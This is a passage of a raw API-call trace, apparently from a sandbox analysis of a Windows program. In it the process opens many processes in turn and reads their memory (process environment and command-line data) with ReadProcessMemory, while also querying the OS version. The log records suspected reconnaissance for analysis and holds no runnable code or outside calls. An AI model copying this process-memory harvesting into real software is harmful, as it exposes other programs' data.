ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.359] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.359] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c312b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.359] malloc (_Size=0x6c) returned 0x196ef0d2120 [0269.359] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c3190c, lpBuffer=0x196ef0d2120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0269.360] free (_Block=0x196ef0d2120) [0269.361] CloseHandle (hObject=0x464) returned 1 [0269.362] _ui64tow_s (in: _Value=0x8d4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2260") returned 0x0 [0269.367] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2260") returned 4 [0269.369] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.369] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.391] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d4) returned 0x464 [0269.391] GetLastError () returned 0x0 [0269.391] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.391] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.392] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.393] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303780, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.393] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c7983032e8, lpBuffer=0x670f7c2b0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.395] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.397] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.397] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.397] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798302c60, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.398] malloc (_Size=0x118) returned 0x196ef0d4e70 [0269.398] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303388, lpBuffer=0x196ef0d4e70, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0269.399] free (_Block=0x196ef0d4e70) [0269.400] CloseHandle (hObject=0x464) returned 1 [0269.401] _ui64tow_s (in: _Value=0x934, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2356") returned 0x0 [0269.407] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2356") returned 4 [0269.408] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.408] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.426] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x934) returned 0x464 [0269.426] GetLastError () returned 0x0 [0269.427] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.427] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.440] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.440] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e03730, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.441] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e032b4, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.442] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.443] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.443] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e02c20, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.444] malloc (_Size=0x11a) returned 0x196ef0d4e70 [0269.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e0334a, lpBuffer=0x196ef0d4e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0269.445] free (_Block=0x196ef0d4e70) [0269.446] CloseHandle (hObject=0x464) returned 1 [0269.447] _ui64tow_s (in: _Value=0x8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0269.453] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="8") returned 1 [0269.455] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.455] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0x464 [0269.485] GetLastError () returned 0x0 [0269.486] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.486] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.486] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.486] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.486] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b3030e8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.488] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.489] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.489] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.489] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b302ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.489] malloc (_Size=0x6a) returned 0x196ef0d2120 [0269.489] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303128, lpBuffer=0x196ef0d2120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0269.490] free (_Block=0x196ef0d2120) [0269.499] CloseHandle (hObject=0x464) returned 1 [0269.499] _ui64tow_s (in: _Value=0xae4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2788") returned 0x0 [0269.504] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2788") returned 4 [0269.505] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.505] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.521] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xae4) returned 0x464 [0269.521] GetLastError () returned 0x0 [0269.556] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.556] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.556] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.556] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61bd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.556] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61818, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.558] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.559] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.559] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.559] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.560] malloc (_Size=0x64) returned 0x196ef0d0370 [0269.560] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61864, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0269.560] free (_Block=0x196ef0d0370) [0269.561] CloseHandle (hObject=0x464) returned 1 [0269.562] _ui64tow_s (in: _Value=0xb40, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2880") returned 0x0 [0269.567] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2880") returned 4 [0269.568] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.568] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.592] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb40) returned 0x464 [0269.592] GetLastError () returned 0x0 [0269.593] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.593] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.593] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.593] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.593] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7218c8, lpBuffer=0x670f7c2b0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.595] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.598] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.598] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.598] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7212b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.598] malloc (_Size=0x72) returned 0x196ef0d2120 [0269.598] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721922, lpBuffer=0x196ef0d2120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0269.599] free (_Block=0x196ef0d2120) [0269.601] CloseHandle (hObject=0x464) returned 1 [0269.642] _ui64tow_s (in: _Value=0x4a8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1192") returned 0x0 [0269.647] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1192") returned 4 [0269.648] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7b95ec4f, dwBuildNumber=0x7ffa, dwPlatformId=0x70f7c860, szCSDVersion="\x06") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.648] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.665] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a8) returned 0x464 [0269.665] GetLastError () returned 0x0 [0269.666] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.666] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.666] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.667] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103510, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.667] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b810312a, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.669] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.670] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.670] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.694] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8102ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.721] malloc (_Size=0xd6) returned 0x196ef0d4e70 [0269.721] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103192, lpBuffer=0x196ef0d4e70, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0269.742] free (_Block=0x196ef0d4e70) [0269.743] CloseHandle (hObject=0x464) returned 1 [0269.744] _ui64tow_s (in: _Value=0x2d8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="728") returned 0x0 [0269.751] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="728") returned 3 [0269.753] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.753] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.777] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0269.777] CloseHandle (hObject=0x0) returned 0 [0269.778] _ui64tow_s (in: _Value=0x614, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1556") returned 0x0 [0269.783] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1556") returned 4 [0269.784] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.784] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.802] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x614) returned 0x464 [0269.802] GetLastError () returned 0x0 [0269.802] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.802] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11948, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.805] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.806] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.807] malloc (_Size=0x7e) returned 0x196ef0fa7b0 [0269.807] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c119a8, lpBuffer=0x196ef0fa7b0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa7b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.807] free (_Block=0x196ef0fa7b0) [0269.808] CloseHandle (hObject=0x464) returned 1 [0269.809] _ui64tow_s (in: _Value=0xd80, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3456") returned 0x0 [0269.813] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3456") returned 4 [0269.814] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.814] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.863] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd80) returned 0x464 [0269.864] GetLastError () returned 0x0 [0269.864] NtQueryInformationProcess (in: 